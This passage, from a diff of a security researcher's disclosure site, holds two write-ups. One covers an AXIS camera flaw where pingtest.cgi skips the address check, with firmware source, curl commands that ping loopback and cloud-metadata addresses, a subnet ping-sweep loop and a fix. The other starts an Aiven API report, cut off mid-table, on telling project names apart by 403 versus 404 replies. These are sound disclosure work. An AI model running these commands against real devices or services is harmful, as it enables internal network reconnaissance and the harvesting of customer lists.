| + | <p><strong>VRT Category:</strong> Insecure OS/Firmware | |
| + | <strong>URL/Location:</strong> <code>https://<camera>/axis-cgi/pingtest.cgi?ip=127.0.0.1</code> | |
| + | <strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) | |
| + | <strong>File:</strong> <code>/usr/html/axis-cgi/pingtest.cgi</code> (shell script)</p> | |
| + | <p><strong>Note:</strong> This is a distinct vulnerability from any httptest.cgi findings. | |
| + | pingtest.cgi is a separate CGI script with a completely different code path | |
| + | (shell script using busybox ping, vs ELF binary using libcurl). The fix is | |
| + | independent: add a <code>validateaddr</code> call to pingtest.cgi.</p> | |
| + | <hr /> | |
| + | <h2>Description</h2> | |
| + | <p>The VAPIX API endpoint <code>pingtest.cgi</code> does not validate the user-supplied | |
| + | <code>ip</code> parameter against internal/loopback addresses before executing <code>ping</code>. | |
| + | The functionally identical endpoint <code>tcptest.cgi</code> calls the <code>validateaddr</code> | |
| + | binary for exactly this purpose. This differential omission allows any | |
| + | authenticated user (viewer or higher) to use the camera as a pivot point to | |
| + | ping arbitrary internal network hosts, including localhost, RFC1918 ranges, | |
| + | and link-local metadata endpoints.</p> | |
| + | <p><strong>Authentication required:</strong> Viewer (lowest privilege). The endpoint exists | |
| + | at <code>/axis-cgi/viewer/pingtest.cgi</code> confirming viewer-level access.</p> | |
| + | <hr /> | |
| + | <h2>Proof of Concept</h2> | |
| + | <h3>Step 0: Firmware evidence (source code comparison)</h3> | |
| + | <p>Firmware was extracted from P3245-LV_11_11_192.bin (squashfs, zstd, ARTPEC-7 ARM):</p> | |
| + | <pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin | |
| + | unsquashfs -d rootfs_extracted rootfs/rootfs.img | |
| + | </code></pre> | |
| + | <h3>Step 1: Source code of pingtest.cgi (VULNERABLE)</h3> | |
| + | <p>Full source at <code>/usr/html/axis-cgi/pingtest.cgi</code>:</p> | |
| + | <pre><code class="language-sh">#!/bin/sh | |
| + | ||
| + | # CGI parameters default | |
| + | # ip=<ip address> | |
| + | # generate_header=yes|no yes | |
| + | ||
| + | # Error output to console | |
| + | [ ! -w /dev/console ] || exec 2>/dev/console | |
| + | ||
| + | . /usr/html/axis-cgi/lib/functions.sh | |
| + | ||
| + | # CGI compliant by default | |
| + | CGI_HDGEN=yes | |
| + | ip= | |
| + | ||
| + | if [ "$REQUEST_METHOD" = "POST" ]; then | |
| + | if [ "$CONTENT_LENGTH" -gt 0 ]; then | |
| + | read -n $CONTENT_LENGTH POST_DATA <&0 | |
| + | fi | |
| + | fi | |
| + | ||
| + | tmp=$(__qs_getparam generate_header) | |
| + | [ -z "$tmp" ] || CGI_HDGEN=$tmp | |
| + | ||
| + | # IP address is necessary. | |
| + | tmp=$(__qs_getparam ip) || { | |
| + | __cgi_errhd 400 "IP address missing" | |
| + | exit 1 | |
| + | } | |
| + | if [ -z "$tmp" ]; then | |
| + | __cgi_errhd 400 "IP address empty" | |
| + | exit 1 | |
| + | else | |
| + | ip=$tmp # <-- NO VALIDATION | |
| + | fi | |
| + | ||
| + | ip_in_use="got response" | |
| + | ip_unused="no response" | |
| + | ||
| + | if ping "$ip" >/dev/null; then # <-- DIRECT USE IN PING | |
| + | if [ "$CGI_HDGEN" = yes ]; then | |
| + | __cgi_errhd 200 "$ip_in_use" | |
| + | else | |
| + | echo "$ip_in_use" | |
| + | fi | |
| + | else | |
| + | if [ "$CGI_HDGEN" = yes ]; then | |
| + | __cgi_errhd 200 "$ip_unused" | |
| + | else | |
| + | echo "$ip_unused" | |
| + | fi | |
| + | fi | |
| + | </code></pre> | |
| + | <p>The <code>$ip</code> parameter flows from <code>__qs_getparam ip</code> directly to <code>ping "$ip"</code> with <strong>zero validation</strong>.</p> | |
| + | <h3>Step 2: Source code of tcptest.cgi (PATCHED – has validation)</h3> | |
| + | <p>Relevant excerpt from <code>/usr/html/axis-cgi/tcptest.cgi</code> showing the validation that pingtest.cgi is missing:</p> | |
| + | <pre><code class="language-sh">check_host_addr() { | |
| + | [ -x "$(command -v validateaddr)" ] || { | |
| + | report_status "$cgi_hdgen" 500 "Cannot validate address" | |
| + | exit 1 | |
| + | } | |
| + | set +e | |
| + | validateaddr $1 | |
| + | validation_res=$? | |
| + | case $validation_res in | |
| + | 1) | |
| + | report_status "$cgi_hdgen" 400 "Invalid localhost address" | |
| + | exit 1 | |
| + | ;; | |
| + | 2) | |
| + | report_status "$cgi_hdgen" 400 "Could not resolve address" | |
| + | exit 1 | |
| + | ;; | |
| + | 3) | |
| + | report_status "$cgi_hdgen" 400 "Error validating address" | |
| + | exit 1 | |
| + | ;; | |
| + | esac | |
| + | set -e | |
| + | } | |
| + | ||
| + | addr__=$(__qs_getparam address) && [ "$addr__" ] || { | |
| + | report_status "$cgi_hdgen" 400 "Please specify host name or address" | |
| + | exit 1 | |
| + | } | |
| + | ||
| + | check_host_addr "$addr__" # <-- VALIDATES BEFORE USE | |
| + | ||
| + | res=$(tcptest 10 "$addr__" "$port__" 2>&1) || { | |
| + | </code></pre> | |
| + | <p><code>tcptest.cgi</code> calls <code>validateaddr</code> which returns exit code 1 for localhost addresses, exit code 2 for unresolvable addresses, and exit code 3 for format errors. <code>pingtest.cgi</code> has none of this.</p> | |
| + | <h3>Step 3: Firmware binary execution – validateaddr results</h3> | |
| + | <p>The <code>validateaddr</code> binary was executed directly from the extracted firmware | |
| + | using QEMU user-mode emulation (<code>qemu-arm-static</code>), proving exactly what | |
| + | <code>tcptest.cgi</code> blocks that <code>pingtest.cgi</code> does not:</p> | |
| + | <pre><code>$ for addr in 127.0.0.1 127.0.0.2 127.0.0.12 127.0.0.255 127.1.1.1 \ | |
| + | REDACTED-IP 172.16.0.1 [ip redacted] 169.254.169.254 0.0.0.0 8.8.8.8; do | |
| + | qemu-arm-static -L $ROOTFS $ROOTFS/usr/bin/validateaddr "$addr" | |
| + | echo "$addr: exit $?" | |
| + | done | |
| + | ||
| + | 127.0.0.1 BLOCKED (exit 1) | |
| + | 127.0.0.2 BLOCKED (exit 1) | |
| + | 127.0.0.12 BLOCKED (exit 1) | |
| + | 127.0.0.255 BLOCKED (exit 1) | |
| + | 127.1.1.1 BLOCKED (exit 1) | |
| + | REDACTED-IP ALLOWED (exit 0) | |
| + | 172.16.0.1 ALLOWED (exit 0) | |
| + | [ip redacted] ALLOWED (exit 0) | |
| + | 169.254.169.254 ALLOWED (exit 0) | |
| + | 0.0.0.0 BLOCKED (exit 1) | |
| + | 8.8.8.8 ALLOWED (exit 0) | |
| + | </code></pre> | |
| + | <p><code>validateaddr</code> blocks all loopback addresses (127.0.0.0/8) and 0.0.0.0. | |
| + | <code>tcptest.cgi</code> calls this binary. <code>pingtest.cgi</code> does not – so all of | |
| + | the above addresses including every 127.x.x.x are reachable via <code>pingtest.cgi</code>.</p> | |
| + | <h3>Step 4: Exploit – Ping internal addresses</h3> | |
| + | <pre><code class="language-bash"># Ping localhost (should be blocked, isn't) | |
| + | curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1" | |
| + | # Expected: "got response" (proves localhost is reachable) | |
| + | ||
| + | # Ping link-local metadata endpoint (cloud environments) | |
| + | curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=169.254.169.254" | |
| + | ||
| + | # Scan a /24 subnet for live hosts | |
| + | for i in $(seq 1 254); do | |
| + | resp=$(curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=REDACTED-IP") | |
| + | echo "REDACTED-IP: $resp" | |
| + | done | |
| + | # Output: each IP shows "got response" or "no response" | |
| + | ||
| + | # Confirm internal Apache VHosts are reachable | |
| + | for addr in 127.0.0.2 127.0.0.3 127.0.0.12; do | |
| + | curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=$addr" | |
| + | done | |
| + | </code></pre> | |
| + | <h3>Step 5: Verify tcptest.cgi blocks the same requests</h3> | |
| + | <pre><code class="language-bash"># tcptest.cgi with localhost -- returns "Invalid localhost address" | |
| + | curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/tcptest.cgi?address=127.0.0.1&port=80" | |
| + | # Expected: "Invalid localhost address" | |
| + | ||
| + | # pingtest.cgi with the SAME address -- no validation, ping succeeds | |
| + | curl -s --digest -u '<viewer_user>:<viewer_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1" | |
| + | # Expected: "got response" | |
| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li><strong>Internal network reconnaissance</strong>: Viewer maps the camera’s local network, discovers hosts, identifies infrastructure</li> | |
| + | <li><strong>Cloud metadata exposure</strong>: In cloud-hosted camera deployments, 169.254.169.254 may expose instance credentials</li> | |
| + | <li><strong>Internal service discovery</strong>: AXIS OS has internal services on 127.0.0.2/3/12; confirming their existence aids further attacks</li> | |
| + | <li><strong>Pivot point</strong>: Camera becomes an ICMP scanning tool inside the network perimeter</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>CVSS</h2> | |
| + | <p><strong>Score:</strong> 5.0 (Medium) | |
| + | <strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N</p> | |
| + | <p>Scope is Changed because the impact extends beyond the camera to the internal network.</p> | |
| + | <hr /> | |
| + | <h2>Remediation</h2> | |
| + | <p>Add the <code>check_host_addr</code> function (identical to <code>tcptest.cgi</code>) to <code>pingtest.cgi</code> before the <code>ping</code> command:</p> | |
| + | <pre><code class="language-sh"># Add after ip=$tmp and before the ping call: | |
| + | check_host_addr() { | |
| + | [ -x "$(command -v validateaddr)" ] || { | |
| + | __cgi_errhd 500 "Cannot validate address" | |
| + | exit 1 | |
| + | } | |
| + | set +e | |
| + | validateaddr $1 | |
| + | validation_res=$? | |
| + | case $validation_res in | |
| + | 1) __cgi_errhd 400 "Invalid localhost address"; exit 1 ;; | |
| + | 2) __cgi_errhd 400 "Could not resolve address"; exit 1 ;; | |
| + | 3) __cgi_errhd 400 "Error validating address"; exit 1 ;; | |
| + | esac | |
| + | set -e | |
| + | } | |
| + | ||
| + | check_host_addr "$ip" | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/axis-os/pingtest-ssrf-missing-validateaddr.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,305 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Project Name Enumeration | Zion Boggan</title> | |
| + | <meta name="description" content="403 vs 404 oracle on `/v1/project/&lt;name&gt;` enumerates the entire managed-services customer base."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/project-name-enumeration/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Project Name Enumeration | Zion Boggan"> | |
| + | <meta property="og:description" content="403 vs 404 oracle on `/v1/project/&lt;name&gt;` enumerates the entire managed-services customer base."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/project-name-enumeration/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Project Name Enumeration | Zion Boggan"> | |
| + | <meta name="twitter:description" content="403 vs 404 oracle on `/v1/project/&lt;name&gt;` enumerates the entire managed-services customer base."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Project Name Enumeration","description":"403 vs 404 oracle on `/v1/project/&lt;name&gt;` enumerates the entire managed-services customer base.","url":"https://zionboggan.com/security-research-notebook/project-name-enumeration/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Info disclosure</div> | |
| + | <h1>Project Name Enumeration</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h1>SUBMISSION 1</h1> | |
| + | <p>TITLE: Project Name Enumeration via 403/404 Response Differentiation Leaks Customer List</p> | |
| + | <p>TARGET: api.aiven.io (https://api.aiven.io/login)</p> | |
| + | <p>VRT CATEGORY: Server Security Misconfiguration > Information Disclosure</p> | |
| + | <p>URL: https://api.aiven.io/v1/project/{project_name}</p> | |
| + | <h2>DESCRIPTION:</h2> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>GET /v1/project/{project_name}</code> endpoint returns differentiated HTTP responses for existing vs non-existing projects, allowing any authenticated user to enumerate all project names on the Aiven platform. Since project names frequently match company or organization names, this directly reveals Aiven’s customer list.</p> | |
| + | <ul> | |
| + | <li>Existing project (not owned by requester): <strong>403</strong>, <code>"Not a project member"</code></li> | |
| + | <li>Non-existing project: <strong>404</strong>, <code>"Project does not exist"</code></li> | |
| + | </ul> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p>Authenticate to the Aiven API with any valid token.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>Query existing project name:</p> | |
| + | </li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">curl -s https://api.aiven.io/v1/project/netflix \ | |
| + | -H "Authorization: aivenv1 <TOKEN>" | |
| + | </code></pre> | |
| + | <p><strong>Response (403):</strong></p> | |
| + | <pre><code class="language-json">{"errors":[{"message":"Not a project member","status":403}]} | |
| + | </code></pre> | |
| + | <ol start="3"> | |
| + | <li>Query non-existing project name:</li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">curl -s https://api.aiven.io/v1/project/doesnotexist12345xyz \ | |
| + | -H "Authorization: aivenv1 <TOKEN>" | |
| + | </code></pre> | |
| + | <p><strong>Response (404):</strong></p> | |
| + | <pre><code class="language-json">{"errors":[{"message":"Project does not exist","status":404}]} | |
| + | </code></pre> | |
| + | <ol start="4"> | |
| + | <li>The 403/404 differentiation confirms whether a project name exists on the platform.</li> | |
| + | </ol> | |
| + | <h2>Confirmed Existing Projects</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Project Name</th> | |
| + | <th>HTTP Status</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>netflix</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>spotify</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>google</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>facebook</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>tesla</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>databricks</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>redis</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>grafana</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>production</code></td> | |
